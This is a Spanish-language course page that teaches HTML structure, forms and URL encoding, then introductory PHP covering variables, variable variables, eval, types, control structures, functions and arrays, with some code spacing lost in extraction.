Toda la información incluida dentro del documento HTML debe estar rodeada por las etiquetas <HTML>...</HTML>. Dentro ellas, se pueden identificar dos partes, denominadas encabezado y cuerpo, con diferentes cometidos: En el encabezado <HEAD>...</HEAD> se incluye información sobre características del documento. Su contenido no se presenta directamente en la pantalla, pero altera el tratamiento que los clientes y servidores Web dan al mismo. El cuerpo <BODY>...</BODY> contiene el documento propiamente dicho, es decir, los datos que se presentarán en la pantalla. <BODY> permite controlar algunos atributos sobre la apariencia global del documento. En el encabezado hay una única etiqueta de inclusión obligatoria, llamada <TITLE>...</TITLE>. El texto incluida entre las etiquetas fija el título que el cliente Web muestra en la parte superior de la ventana del documento (no debe contener otras etiquetas HTML). También se utiliza como descripción al añadir un bookmark, es decir, una anotación en la agenda de direcciones interesantes que ofrecen la mayoría de los clientes Web modernos.

Otras etiquetas

Para cambiar el formato de la letra podemos utilizar las etiquetas <B> e <I> se usan para entrar en el modo de negrita y cursiva. Para el subrayado utilizaremos la etiqueta <U>.

Otra etiqueta muy utilizada es <FONT>, cuyas propiedades más destacadas son: color (color de la fuente), síze (tamaño de la letra), face (tipo de letra)... Otra posibilidad es crear el efecto de parpadeo de un texto, ello lo indicaremos con la etiqueta <BLINK>, aunque este elemento pertenece a Netscape 1.1, y por tanto la mayoría de los navegadores lo ignora.

El elemento <DIV> permite al autor del documento estructurar al mismo en bloques. Este elemento utiliza en general al elemento <span>, y se combina con los atributos id y class para identificar al bloque que conforma y ubicarlo mediante coordenadas en la pantalla. Permite la alineación especificando en la propiedad align el tipo de alineado (centrado center, justificado, justlfy, a la derecha right a la izquierda left.

Para las cabeceras podemos utilizar <Hn>, cabecera de nivel n. Permiten la jerarquización del texto, existiendo 6 niveles (n=1...6). La número 1 se mostrará con un tamaño de letra mayor, disminuyendo éste hasta la 6.

Listas anidadas: <UL> comienza con una lista desordenada. Los elementos individuales, que se marcan con la etiqueta <LI> en el origen, aparecen con viñetas • al principio. Una variante de este mecanismo es <OL>, que es para listas ordenadas. Cuando se usa esta etiqueta los elementos <LI> son numerados por el navegador.

Las etiquetas <BR>, <P>, <BLOCKQUOTE> y <HR> indican límites entre secciones del texto. El formato preciso se pude determinar por la hoja de estilo (que se verá más adelante). <BR> fuerza una línea nueva, <P> comienza un párrafo, <BLOCKQUOTE> indica el sangrado y <HR> fuerza una nueva línea y dibuja una línea horizontal.

Para la inclusión de imágenes se utiliza <IMG>, que como parámetros puede tener: src, path donde esta la imagen; align, alineación de la imagen con respecto a la línea base del texto (top, middle, bottom); alt, que proporciona texto alternativo a usar en lugar de la imagen cuando el usuario ha inhabilitado las Imágenes, e ismap, un indicador de que la imagen es un mapa activo (es decir, un el elemento al cual podemos acceder al pinchar). Se suelen utilizar para como formato las extensiones JPEG y GIF, puesto que todos los navegadores las reconocen. Con el elemento <ADDRESS> se permite agregar datos y dirección del autor del documento y comunicar esta información a otro documento.

Los comentarios en HTML se especifican entre los símbolos <! -- y -->

Hipervínculos o enlaces

El sistema de recuperación de información basado en la selección de enlaces es una de las aportaciones más importantes del web. La información en la web se estructura separando los contenidos en diferentes páginas, y creando los elementos de navegación (texto y gráficos) y enlaces entre cada sección, así como los enlaces con otros recursos de otros servidores.

Dentro de un documento de hipertexto pueden existir dos tipos de enlaces, los de origen y los de destino. Las principales características de cada uno de ellos son:

  • Los enlaces de origen son los enlaces visibles en un documento, que al ser seleccionados activarán una determinada URL. Son los más utilizados. Se definen con <A HREF="URL">texto</A>.
  • Los enlaces de destino representan puntos o bloques de un documento a los que se puede hacer referencia desde un enlace de origen. Se definen con <A NAME="etiqueta"></A>, y se referencian con la URL #etiqueta.

Tablas

El principal problema del HTML para los diseñadores gráficos es que el navegador decide la presentación visual de las etiquetas según un criterio genérico, poco apto para el modelado gráfico de una página. En general las etiquetas que hemos comentado están pensadas para formatear documentos de texto, pero no para posicionar elementos a voluntad.

En la versión HTML 3.0 se agregaron las tablas, que permiten construir bloques del documanto perfectamente alineados. Las tablas supusieron el elemento clave para el desarrollo estético del web fuera del estricto uso como herramientoa de publicación de documentos.

Se inician mediante la etiqueta <TABLE> y se utilizan parámetros adicionales para describir las propiedades generales de la tabla. La etiqueta <CAPTION> puede utilizarse para proporcionar el título de una figura. Cada fila comienza con una etiqueta <TR> y las celdas individuales se marchan como (encabezado de tabla) o <TD> (datos de tabla). Controlando los atributos rowspan y colspan (de <TD>) pueden realizarse tablas complejas para formatear el aspecto de las páginas a voluntad:
2 filas
2 columnas juntas
prim col de la seg filasegunda columna

Formularios

Los formularios contienen cuadros o botones que permiten a los usuarios proporcionar información o tomar decisiones, y después enviar dicha información al servidor que aloja la página.
El formulario no es más que una forma de preguntar al usuario, por sí mismo no realiza ninguna acción, simplemente pide información al usuario y la envía al servidor.
La respresentación visual de los formularios suele ser similar entre navegadores,
aunque hay diferencias estéticas, la funcionalidad es prácticamente la misma. El código de un formulario viene definido por las etiquetas <FORM> y </FORM>. Puede tener las siguientes propiedades:
  • method: puede ser get o post, lo que obviamente causaré que los datos se envíen por uno u otro método.
  • action: URL a la que debe enviar los datos recogidos.
  • name: nombre del formulario, usado a veces con javascript.
  • target: modo/nombre en el que se abrirá la página a la que se envíen los datos.
  • enctype: para especificar el tipo de codificación MIME de los datos remitidos al servidor para su procesamiento. El valor predeterminado es application/x-www-form-urlencode. Si creas un campo de carga de archivos, asígnale el tipo MIME multipart/form-data. Si su valor es text/plain, las repuestas se reciben en el servidor como texto sin codificar.
El cuerpo del formulario esta compuesto por las etiquetas <input>, <select> y <textarea> que pueden tener diversas propiedades. La etiqueta <INPUT...> es el campo básico de entrada y según su tipo cambia bastante su comportamiento, sus propiedades son:
  • name: Como podemos suponer, es el nombre de la variable que le asignaremos al dato que se escriba.
  • value: representa el valor por defecto que tomará la variable.
  • size: es el tamaño en caracteres de la ventana de visualización.
  • maxlength: tamaño máximo de caracteres que se pueden introducir en el campo.
  • name: nombre del campo.
  • id: (identificador), nombre que utilizado para acceder al campo desde javascript.
  • type: determina el tipo:
    • text: es el valor por defecto de este atributo, e indica que se trata de una entrada de datos formada por una línea de texto.
    • submit: muestra el botón de envío del contenido del formulario. Si no hay un campo de este tipo, el formulario no se puede enviar (sin javascript).
    • reset: muestra el botón que elimina el contenido del formulario.
    • password: es una entrada de tipo texto en la que se enmascaran los datos, sustituyéndose por asteriscos. Tiene los mismos atributos que el tipo text.
    • checkbox: se trata de una casilla de selección. Si el usuario marca la casilla, su valor (por defecto la palabra on) se envía. Si no la marca no se envía nada (a diferencia de lo que pudiera pensarse). Si queremos que en principio aparezca como marcado, por lo que el usuario no necesitará marcarlo, añadimos el atributo checked.
    • radio: se utiliza para que el usuario pueda elegir una opción entre varias. En este caso, para todas las opciones el atributo name será el mismo y lo único que cambiará será el atributo value, que almacenará el nombre de cada opción y será el valor que reciba la variable y que nosotros recibiremos. Si el usuario no marca ninguna, no se envía nada.
    • hidden: Este elemento representa un campo oculto que el usuario medio no puede cambiar. El atributo value el que especifica el valor del campo. Tanto el atributo name como el atributo value son obligatorios.
    • image: Este elemento especifica una imagen para que el browser o visor la muestre y permita la entrada de dos campos, las coordenadas x e y de un píxel seleccionado de dicha imagen. Los nombres de los campos son iguales al del campo, añadiendo al final x e y respectivamente. Este tipo implica también input type=submit, es decir, cuando se selecciona un píxel, se envía todo el formulario.
    • file: nos permite enviar archivos.
En cuanto al <TEXTAREA>, es un campo de texto para introducir varias líneas, hay que destacar dos propiedades que le diferencian del <INPUT>, rows que indica el número de filas y cols que indica el número de caracteres o columnas por línea.

La lista despegable, <SELECT> tiene prácticamente las mismas propiedades que el tipo <INPUT>, pero además dentro se deben definir las etiquetas <OPTION> donde se mostrarán los elementos a mostrar. Con el atributo selected se muestra por defecto un elemento de la lista seleccionado. Si no se especifica el atributo value se interpreta que el valor es el texto a mostrar. EL campo <SELECT> admite la propiedad multiple, que permite devolver varios valores, su usao lo veremos más adelente, con PHP.

Ejemplo: <form method=post action=mailto:xxx@uji.es name=pr7 enctype="application/x-www-form-urlencoded">
Texto corto<input name=texto_corto>
Texto oculto<input type= password name=texto_oculto> <br>
<input name=sexo type=radio value=hombre checked> Hombre <br>
<input name=sexo type=radio value=mujer> Mujer <br>
<input name=check type=checkbox checked> Por favor contestar <br>
<input name=valor_oculto type=hidden value="123">
<textarea name=area_texto rows=4 cols=20>Escribe tu comentario</textarea>
<select name=seleccion size=3>
<option>Primero</option>
<option selected>Segundo</option>
<option value=3o>Tercero</option>
</select>
<input type=submit value=Enviar>
<input type=reset value=Borrar>
</form>

Texto corto Texto oculto
Hombre
Mujer
Por favor contestar
Como la codificación es urlencoded, mandaríamos al servidor algo similar a:
texto_corto=Buenos+d%EDas&texto_oculto=&sexo=hombre&check=on
	&valor_oculto=%94123%94&area_texto=Sin+comentario&seleccion=Primero
siendo ED 2 dígitos en hexadecimal que representan a la í. El espacio en blanco se indica con %20 (el carácter con código ASCII 20 en hexadecimal, o 32 en decimal). Los caracteres "normales" no se codifican, y los demás siguen el formato %XX, siendo XX la representación del carácter en la tabla ASCII (en hexadecimal). Se consideran normales los caracteres: =, %, &
Utilizando el interface anterior, realiza la misma acción que hace éste formulario.

El lenguaje PHP ^

PHP es un lenguaje interpretado, fácil de aprender y de emplear, que dispone de una amplia colección de funciones en librerías. Fue concebido para ser incrustado en páginas web, pero puede (o debe) emplearse como un lenguaje de programación con entidad propia, independiente del web. Su integración con el web es enorme, de modo que muchas operaciones costosas con otros lenguajes, en PHP están resueltas de forma implícita. Esto explica su gran popularidad.

El lenguaje ^

Describo aquí los elementos principales del lenguaje. Para una completa explicación, leer aquí.
Sintaxis ^
Los programas PHP se determinan por la presencia de las marcas <?php y ?>. Lo que está dentro de las marcas se interpreta como código PHP. Lo que está fuera simplemente se muestra por el output: Hola
<?php
  
echo "mundo<br>";
  echo 
strftime("Son las %H horas");
?>
Hola mundo
Son las 07 horas
Con este ejemplo queda claro que PHP fue concebido para integrarse dentro del HTML, pero usar así PHP sólo tiene sentido en pequeños scripts (como la página que estás leyendo, que es un script PHP). En programas de una envergadura mínima no debería de haber nada fuera de las marcas <?php y ?>. En este documento emplearé la forma abreviada de marcas <? y ?>.

PHP es muy similar a C y otros lenguajes. Las instrucciones se separan con ; y los cambios de línea son equivalentes a los espacios en blanco (fuera de las cadenas, claro). Debemos respetar las reglas de identación buscando la claridad. Los comenrarios se delimitan con // o # para una línea, y con /* y */ para bloques de líneas.

Abre este archivo con el editor vi (vim) y observa una aplicación usual de los comentarios. Esta funcionalidad de vim está disponible para cualquier lenguaje que admita comentarios (observa el código fuente de esta misma página).
Edita un archivo que contenga algo de PHP y ábrelo localmente con tu navegador, es decir que la URL que ves en la barra de dirección sea algo como /home/fulano/mi.php (en windows c:\blabla\mi.php). ¿Por qué estás viendo el código PHP?.
Edita un archivo info.php que contenga: <?php phpinfo(); ?> y cárgalo con el navegador vía servidor web (algo como http://localhost/directorio/info.php). Observa la información suminstrada.

Las variables en PHP explotan al máximo las características que ofrece un lenguaje interpretado, pudiendo hacer operaciones totalmente impensables para un lenguaje compilado. Las variables siempre comienzan con el signo $ y su nombre sigue las reglas habituales de otros lenguajes. La asignación de un valor se realiza con el signo =. Las variables no se declaran y pueden tomar diversos tipos de datos en tiempo de ejecución, cambiando de uno a otro según el valor que se les asigne. Los nombres de las variables son sensibles ante mayúsculas y minúsculas. Veamos este ejemplo:  
  
// variable declarada explícitamente
  
$v1 50;
  
// imprimimos una de las variables del sistema
  
echo $_SERVER ["DOCUMENT_ROOT"] ;
  
//definimos una constante
  
define ("VARIABLE_CONSTANTE" 80) ;
  echo 
VARIABLE_CONSTANTE;
  
// copia el valor
  
$v2=$v1;
  
$v1=3+5;
  
// se convierten ambas variables a string y se concatenan
  
$v1=$v1.$v2;
  
// error de sintaxis
  
$2v 5;
  
Hemos definido la variable $v1 y le hemos asignado el entero 50. Después mostramos uan variable del sistema y definimos una constante, cuyo uso es de escaso interés a mi juicio. La asignación se realiza siempre por valor, es decir copiando. En PHP existen las referencias, pero deben usarse con mucho cuidado, teniendo en cuenta que no son direcciones como en C.

Una variable puede tener que separarse de su entorno, por ejemplo dentro de una cadena, entonces puede usarse el formato ${variable}.

El formato $$ es una forma simplificada de evaluación, en el sentido que $$x significa la variable cuyo nombre esta en $x:  
  $nom
="variable";
  
$variable=6;
  echo 
"La variable '$nom' lleva un '".$$nom."'";

La variable 'variable' lleva un '6'
Un ejemplo más complejo puede ser:  
  
for ($i=1$i <100$i++) {
    
$nom="nom$i";
    $
$nom=$i;
    echo 
"La variable '$nom' lleva un '".$$nom."'\n";
  } 
La variable 'nom1' lleva un '1' La variable 'nom2' lleva un '2' La variable 'nom3' lleva un '3' La variable 'nom4' lleva un '4' La variable 'nom5' lleva un '5' La variable 'nom6' lleva un '6' La variable 'nom7' lleva un '7' La variable 'nom8' lleva un '8' La variable 'nom9' lleva un '9' La variable 'nom10' lleva un '10' La variable 'nom11' lleva un '11' La variable 'nom12' lleva un '12' La variable 'nom13' lleva un '13' La variable 'nom14' lleva un '14' La variable 'nom15' lleva un '15' La variable 'nom16' lleva un '16' La variable 'nom17' lleva un '17' La variable 'nom18' lleva un '18' La variable 'nom19' lleva un '19' La variable 'nom20' lleva un '20' La variable 'nom21' lleva un '21' La variable 'nom22' lleva un '22' La variable 'nom23' lleva un '23' La variable 'nom24' lleva un '24' La variable 'nom25' lleva un '25' La variable 'nom26' lleva un '26' La variable 'nom27' lleva un '27' La variable 'nom28' lleva un '28' La variable 'nom29' lleva un '29' La variable 'nom30' lleva un '30' La variable 'nom31' lleva un '31' La variable 'nom32' lleva un '32' La variable 'nom33' lleva un '33' La variable 'nom34' lleva un '34' La variable 'nom35' lleva un '35' La variable 'nom36' lleva un '36' La variable 'nom37' lleva un '37' La variable 'nom38' lleva un '38' La variable 'nom39' lleva un '39' La variable 'nom40' lleva un '40' La variable 'nom41' lleva un '41' La variable 'nom42' lleva un '42' La variable 'nom43' lleva un '43' La variable 'nom44' lleva un '44' La variable 'nom45' lleva un '45' La variable 'nom46' lleva un '46' La variable 'nom47' lleva un '47' La variable 'nom48' lleva un '48' La variable 'nom49' lleva un '49' La variable 'nom50' lleva un '50' La variable 'nom51' lleva un '51' La variable 'nom52' lleva un '52' La variable 'nom53' lleva un '53' La variable 'nom54' lleva un '54' La variable 'nom55' lleva un '55' La variable 'nom56' lleva un '56' La variable 'nom57' lleva un '57' La variable 'nom58' lleva un '58' La variable 'nom59' lleva un '59' La variable 'nom60' lleva un '60' La variable 'nom61' lleva un '61' La variable 'nom62' lleva un '62' La variable 'nom63' lleva un '63' La variable 'nom64' lleva un '64' La variable 'nom65' lleva un '65' La variable 'nom66' lleva un '66' La variable 'nom67' lleva un '67' La variable 'nom68' lleva un '68' La variable 'nom69' lleva un '69' La variable 'nom70' lleva un '70' La variable 'nom71' lleva un '71' La variable 'nom72' lleva un '72' La variable 'nom73' lleva un '73' La variable 'nom74' lleva un '74' La variable 'nom75' lleva un '75' La variable 'nom76' lleva un '76' La variable 'nom77' lleva un '77' La variable 'nom78' lleva un '78' La variable 'nom79' lleva un '79' La variable 'nom80' lleva un '80' La variable 'nom81' lleva un '81' La variable 'nom82' lleva un '82' La variable 'nom83' lleva un '83' La variable 'nom84' lleva un '84' La variable 'nom85' lleva un '85' La variable 'nom86' lleva un '86' La variable 'nom87' lleva un '87' La variable 'nom88' lleva un '88' La variable 'nom89' lleva un '89' La variable 'nom90' lleva un '90' La variable 'nom91' lleva un '91' La variable 'nom92' lleva un '92' La variable 'nom93' lleva un '93' La variable 'nom94' lleva un '94' La variable 'nom95' lleva un '95' La variable 'nom96' lleva un '96' La variable 'nom97' lleva un '97' La variable 'nom98' lleva un '98' La variable 'nom99' lleva un '99'
Un tema interesante es cómo incluir variables dentro de cadenas.
Saltar

La construcción $$ es realmente forma simplificada de ${$variable}. Realmente el formato ${} significa evalúa lo que hay dentro y el resultado interprétalo como un nombre de variable. Según esto, podemos escribir:  
  
${x}=3;
  ${
"x"}=3;
  ${
"x".rand(3,10)}=5;
  ${
$x}=8;
  echo 
"He llegado hasta aquí sin errores"

He llegado hasta aquí sin errores

En consecuencia, el anterior bucle se escribe mejor como:  
  
for ($i=1$i <100$i++)
    ${
"nom".$i}=$i;

eval

Una característica de los lenguajes interpretados es la presencia de la potentísima instrucción eval(), cuya misión es interpretar el código fuente que se le pasa como parámetro, lo que significa analizarlo léxica y sintácticamente y ejecutarlo. Esta sentencia permite ejecutar nuevo código creado en tiempo de ejecución, lo que extiende las posibilidades del lenguaje al infinito, ya que es recusiva (un eval puede contener otro eval).
Así, el anterior ejemplo sería una forma abreviada y cómoda de:  
  
for ($i=1$i <100$i++)
    eval(
"\$nom$i=$i;");

Observa la necesidad del ;. Estrictamente, el eval que corresponde es:  
  
for ($i=1$i <100$i++)
    eval(
"\$nom$i=\$i;");

Como es complicado saber lo que se va a evaluar, yo recomiendo aislar el trozo del eval y susttituirlo por un print, según lo cual:  
  
for ($i=1$i <100$i++)
    print(
"\$nom$i=\$i;<br>");

$nom1=$i;
$nom2=$i;
$nom3=$i;
$nom4=$i;
$nom5=$i;
$nom6=$i;
$nom7=$i;
$nom8=$i;
$nom9=$i;
$nom10=$i;
$nom11=$i;
$nom12=$i;
$nom13=$i;
$nom14=$i;
$nom15=$i;
$nom16=$i;
$nom17=$i;
$nom18=$i;
$nom19=$i;
$nom20=$i;
$nom21=$i;
$nom22=$i;
$nom23=$i;
$nom24=$i;
$nom25=$i;
$nom26=$i;
$nom27=$i;
$nom28=$i;
$nom29=$i;
$nom30=$i;
$nom31=$i;
$nom32=$i;
$nom33=$i;
$nom34=$i;
$nom35=$i;
$nom36=$i;
$nom37=$i;
$nom38=$i;
$nom39=$i;
$nom40=$i;
$nom41=$i;
$nom42=$i;
$nom43=$i;
$nom44=$i;
$nom45=$i;
$nom46=$i;
$nom47=$i;
$nom48=$i;
$nom49=$i;
$nom50=$i;
$nom51=$i;
$nom52=$i;
$nom53=$i;
$nom54=$i;
$nom55=$i;
$nom56=$i;
$nom57=$i;
$nom58=$i;
$nom59=$i;
$nom60=$i;
$nom61=$i;
$nom62=$i;
$nom63=$i;
$nom64=$i;
$nom65=$i;
$nom66=$i;
$nom67=$i;
$nom68=$i;
$nom69=$i;
$nom70=$i;
$nom71=$i;
$nom72=$i;
$nom73=$i;
$nom74=$i;
$nom75=$i;
$nom76=$i;
$nom77=$i;
$nom78=$i;
$nom79=$i;
$nom80=$i;
$nom81=$i;
$nom82=$i;
$nom83=$i;
$nom84=$i;
$nom85=$i;
$nom86=$i;
$nom87=$i;
$nom88=$i;
$nom89=$i;
$nom90=$i;
$nom91=$i;
$nom92=$i;
$nom93=$i;
$nom94=$i;
$nom95=$i;
$nom96=$i;
$nom97=$i;
$nom98=$i;
$nom99=$i;
nos dice las instrucciones que se van a ejecutar.

La sentencia eval() eleva notablemente la potencia de un lenguaje, pero oscurece el código en la misma medida en que lo acorta. Un uso sencillo de eval es saber si un código PHP es sintácticamente correcto:  
  $x
="echo Hola;";
  if (@eval(
"return true; $x"))
    echo 
"Es correcto"

Es correcto

La sentencia return funciona dentro de eval y establece el valor de la ejecución de la misma. El significado de @ lo explico a continuación.

Supongamos que en nuestro programa hay una función definida y que el código evaluado contiene una que se llama igual. ¿Qué sucedería?. ¿Cómo resolverlo?.

La sentencia eval() puede aparecer embebida en preg_replace.

PHP tiene distintos niveles de error. A veces se producen eventos simplemente informativos, otros de atención y otros de error. Normalmente los eventos informativos no se muestran, pero puede configurarse para que así sea con ánimo de depurar código. Los avisos de atención pueden esconderse en llamadas a funciones precediendo la llamada con una @, lo debe hacerse sólo cuando estamos seguros de que no es importante el aviso que ignoramos. Cuando se produce un error, la ejecución del código se para, el mensaje de error también puede esconderse con @, aunque probablemente es una mala idea hacerlo.

Por ejemplo, si quiero obtener el contenido de un archivo, y detectar si no existe o está vacío, puedo hacer:  
  
if ($x=@file_get_contents("unarchivo"))
    echo 
"Existe y no está vacío";
  else
    echo 
"La cosa ha ido mal";

La cosa ha ido mal

Al no existir unarchivo, se produce un warning (mensaje de atención), pero no lo vemos porque @ ha anulado la visibilidad del mensaje. Si file_get_contents produjera error en lugar de warning, no hubiésemos leído ningún mensaje, pues la ejecución del código se hubiera parado.

Tipos de datos ^
Como en todos los lenguajes de programación, en PHP encontramos distintos tipos de datos que simplemente pasamos a enumerar: boolean, integer, float, string, array, object, resource. La naturaleza interpretada de PHP permite que no sea un lenguaje fuertemente tipado como C. Así, los cuatro primeros tipos pueden llegar a confundirse fácilmente, pues PHP realiza una conversión automática entre ellos. Así, la cadena "0" es casi lo mismo que el entero 0, pues PHP hace la conversión de tipos cuando lo necesita:  
  
// $a es un entero
  
$a=3;
  
// el valor de $a (no la propia varaible) se convierte
  // a cadena y se concatena con otra cadena.
  
$b="hola ".$a

Los tipos boolean, integer y float no requieren demasiada atención, simplemente debemos ir en cuidado al manejarlos, por ejemplo:   if (!$x) echo "Sí" escribirá tanto si $a no está definida, como si contiene la cadena nula "", como si contiene la cadena "0", como si contiene un integer o float de valor 0 o un boolean de valor false. Si queremos saber realmente si $a no está definida, podemos usar la función isset. Los tipos pueden compararse usando, por ejemplo, el operador === que dice si dos expresiones evalúan igual y son del mismo tipo. El habitual operador de comparación == no compara el tipo, sólo el valor, y la condición 0 == "0" es cierta.

Saltar
Para reflexionar un poco sobre los enteros, observa este código (máquina de 32 bit):  
  $x
=0x7fffffff ; echo "$x ",is_int($x),"\n";
  
$x=2*$x;        echo "$x ",is_int($x),"\n";
  
$x=0xffffffff ; echo "$x ",is_int($x),"\n";
  
$x=0x100000000; echo "$x ",is_int($x),"\n";
  
2147483647 1 4294967294 1 4294967295 1 4294967296 1
La primera es una asignación normal, $x es entero. En la segunda, al producirse desbordamiento, PHP convierte el valor de $x a float y lo asigna a una nueva $x de tipo float. En la tercera la constante es entera pero sin signo y al asignarse a una variable, como los enteros son sin signo, PHP decide que $x sea float. En la cuarta asignación, la constante desborda, es convertida al entero mayor y asignada a una variable entera. Así una forma fácil de calcular el entero máximo en arquitecturas de 32 o 64 bits podría ser:  $x=0x10000000000000000 ; echo $x;
Podemos pensar que podemos usar los float como enteros con más capacidad. Eso no es así. Construye un programa que averigue cual es el primer float tal que $x == $x+1. A mi me sale 2^53. ¿Por qué?

El tipo resource es empleado para operaciones de entrada salida, no tiene un interés especial, simplemente se usa cuando se debe. De los tipos array y object nos ocuparemos expresamente, por sus peculiaridades. Ahora nos detendremos en el tipo string.

Las cadenas merecen cierta atención. Una cadena en PHP viene delimitada por comillas imples (') o dobles ("). Las comillas simples producen literalidad: cualquier caracter dentro de ellas es interpretado como tal, excepto la propia comilla que debe ser escapada:  
  
echo 'Martin\'s House';

Martin's House

La doble comilla produce la evaluación de las variables y la interpretación de secuencias especiales como \n o \014:  
  $x
=2300;
  echo 
"Somos $x";

Somos 2300

Para delimitar una variable cuando va pegada a una cadena, podemos emplear la forma ${variable}, pero es mejor usar {$variable}:  
  $x
=23;
  echo 
"Somos $x00\n";    // falla
  
echo "Somos ${x}00\n";
  echo 
"Somos {$x}00\n";

Somos Somos 2300 Somos 2300
El formato {$variable} es un agrupador, frente al significado evaluador de ${variable}. Leer atentamente este ejemplo:  
  $a
['ejemplo']='algo';
  
$b['otro']['ejemplo']='nada';
  echo 
"Ejemplo: $a['ejemplo'] con array";            // error de sintaxis
  
echo "Ejemplo: $a[ejemplo] con array";              // funciona, pero por compatibilidad obsoleta
  
echo "Ejemplo: {$a['ejemplo']} con array";          // correcto
  
echo "Ejemplo: ${a['ejemplo']} con array";          // correcto
  
echo "Ejemplo: ".$a['ejemplo']." con array";        // obviamente correcto, pero más farragoso
  
echo "Ejemplo: {$b['otro']['ejemplo']} con array";  // correcto
  
echo "Ejemplo: ${b['otro']['ejemplo']} con array";  // error de sintaxis

La forma $a[ejemplo] implica la definición de una constante de nombre ejemplo, que no estando previamente definida, toma el valor 'ejemplo'. Esta forma no debería usarse, exite por compatibilidad con las primeras versiones de PHP.

Estructuras de control ^
Las estructuras de control son básicamente las de cualquier lenguaje de programación:  
  
if (condición)
    
acción ;

  if (
condición)
    
acción ;
  else
    
otra_acción ;

  if (
condiciónacción ;
  elseif (
otra_condiciónotra_acción
  
else más_acción;

  switch ((
expresión) {
    case 
valoracciones;
    case 
valoracciones;
    default: 
acciones;
    }

  while (
condiciónacción;
  do 
acción while (condición);

  for (
expresión inicialexpinicial2 ;
       
condición ;
       
expresión de pasoexpresión de paso2)
    
acción;

  foreach (
expresión_array as $valor)
    
acción;
  foreach (
expresión_array as $indice => $valor)
    
acción;
  

Creo que estas estructuras se comprenden sin más, pero haré algunas aclaraciones.

El término acción; hace referencia a una sentencia cualquiera (o colección de sentencias agrupadas con { y }).

El término condición se refiere a cualquier expresión que se evaluará como un boolean. Es decir que será false tanto la cadena vacía, como un 0 numérico como una cadena que contiene un "0", como un array vacío. Una array que contenga al menos un elemento, aunque sea array(false), evalúa como true.

Respecto a switch, hay que tener en cuenta que para cada case pueden ponerse varias acciones sin {}. La última de las mencionadas acciones suele ser break. Si break no está presente, la ejecución sigue con el siguiente grupo de acciones:  
  
switch(5) {
    case 
5: echo "Hola ";
    case 
6: echo "soy yo";
  }

Hola soy yo

Respecto a while, la acción se ejecuta 0 o más veces, pues la condición se evalúa antes. En cambio do ... while ejecuta la acción al menos una vez, pues la condición se evaúa después.

La sentencia foreach permite ejecutar la acción para cada uno de los elementos del array, que es copiado en la variable que he etiquetado como $valor. Si $indice está presente, se accede, además, a cada uno de los índices. Observa la ejecución de este código:  
  
foreach($a=array("lun","mar") as $dia) {
    
$dia="dom";
    echo 
$dia."\n";
  }
  
print_r($a);
  foreach(
$a as $i => $dia)
    
$a[$i]="dom";
  
print_r($a);
  

dom dom Array ( [0] => lun [1] => mar ) Array ( [0] => dom [1] => dom )
En este documento hago uso extensivo de foreach, con lo que podrás ver más ejemplos.

La sentencia break se usa no sólo en el ámbito de switch, sino principalmente para romper bucles. Aunque los puristas opinan que es una forma poco estructurada de programación, sí que lo es si se usa correctamente, es decir para tratar, por ejemplo, excepciones o errores. También es necesaria si se usa para cualquier ruptura con foreach. El siguiente código Busca un elemento en un array usando foreach:  
  
unset($donde);
  foreach(
$a as $i => $v)
    if (
$v == buscado) {
      
$donde=$i;
      break;
    }
  if (isset(
$donde)) // no puedo usar if ($donde) pues podría ser 0
    
echo "Está en $donde";
  

Igualmente la sentencia continue, mucho menos util que break, causa que, dentro de un bucle, no se procesen el resto de instrucciones y se pase a la siguiente iteración.

Por último, la sentencia return, que se usa para establecer el valor devuelto por una función, causa también el fin de la ejecución del código de la función, dando una funcionalidad similar a break, pero sólo dentro de funciones, o en el caso especial de la sentencia eval.

Funciones ^
PHP permite al programador definir funciones, que tienen el aspecto:  
  
function ejemplo($valor) { // absurda función
    
echo "Hola";
    return 
$valor+1;
  }
  
Los parámetros se pasan por valor si no se dice lo contrario. Las funciones pueden retornar cualquier tipo de datos e igualmete los parámetros pueden ser de cualquier tipo. Una función puede definirse antes o después del momento de usarse. Puede definirse también de forma condicional, por ejemplo dentro de un if. En este caso, no quedan definidas si no se entra en el if.

Si se invoca a una función que no existe se produce un error fatal. Una función no puede redefinirse.

Los parámetros admiten dos variantes además del formato clásico. Por una parte los parámetros por defecto permiten que ciertos parámetros tengan un valor preestablecido si no se pasa a la función:  
  
function defecto($color,$fondo="negro") {
    echo 
"$color sobre fondo $fondo\n";
  }
  
defecto("amarillo");
  
defecto("azul","naranja"); 

amarillo sobre fondo negro azul sobre fondo naranja
Por otra parte existen la posibilidad de definir una función sin parámetros y luego invocarla con un número variable de parámetros. Como lo considero de escaso interés, para entender cómo, consultar el manual. Obsérvese que un efecto similar puede obtenerse pasando un parámetro de tipo array.

Por supuesto las funciones admiten parámetros por referencia, usando el operador &:  
  
function referencia(&$variable) {
    
$variable="sí";
  }
  
$modi="no";
  
referencia($modi);
  echo 
"La variable $modi ha sido modificada"

La variable sí ha sido modificada

Si en una variable de tipo string almacenamos el nombre de una función, podemos llamar a ésta usando la variable:  
  
function uno() { echo "Una\n"; }
  function 
dos() { echo "Dos\n"; }
  
$func="uno"$func();
  
$func="dos"$func(); 

Una Dos
Las funciones admiten, por supuesto, recursión:  
  
function factorial($x) {
    if (
$x == 0)
      return 
1;
    else
      return 
$x*factorial($x-1);
  }
  echo 
"Factorial de 3 = ".factorial(3); 
Factorial de 3 = 6
Observa que no se puede llamar a una función desde dentro de una cadena.
Arrays. ^
El tipo array destaca por su versatilidad si lo comparamos con los clásicos vectores de los lenguajes compilados. Realmente se trata de listas indexadas con elementos heterogéneos. Para crear un array basta con hacer:   $a[3]=8que crea un array de nombre $a y le asigna un entero 8 a la posición 3. He remarcado el término posición porque realmente se trata de un índice:   $a[3]=8;
  
$a[1]="Hola";
  
print_r($a); 
Array ( [3] => 8 [1] => Hola )
Como podemos observar, el índice no es un orden, sino simplemente una marca, de modo que los elementos quedan en el orden en que los insertamos.

También es típica la autoasignación de índice mediante el uso de []:  
  $a
["clave1"]="hola" ;
  
$a["clave2"]="adios" ;
  
$a[]=1;
  
$a[]=2;
  
$a[20]= 3;
  
$a[]= 4;
  
print_r($a) ; 

Array ( [clave1] => hola [clave2] => adios [0] => 1 [1] => 2 [20] => 3 [21] => 4 )
Como vemos, el uso de [] produce el incremento (y uso) del anterior índice numérico. Como curiosidad:  
  $a
[20]= 3;
  foreach (
$a as $elemento => $valor)
    unset(
$a[$elemento]) ;
  
$a[]= 4;
  
print_r($a) ; 
Array ( [21] => 4 )
Pese a que la instrucción foreach ha destruído los elementos del array, no ha destruído al propio array y recuerda el último índice.

El constructor array() permite formar un array de un tirón. Observemos este ejemplo:  
  $v
=array("coche" => "bmw""moto" => "honda");
  
print_r($v);
  
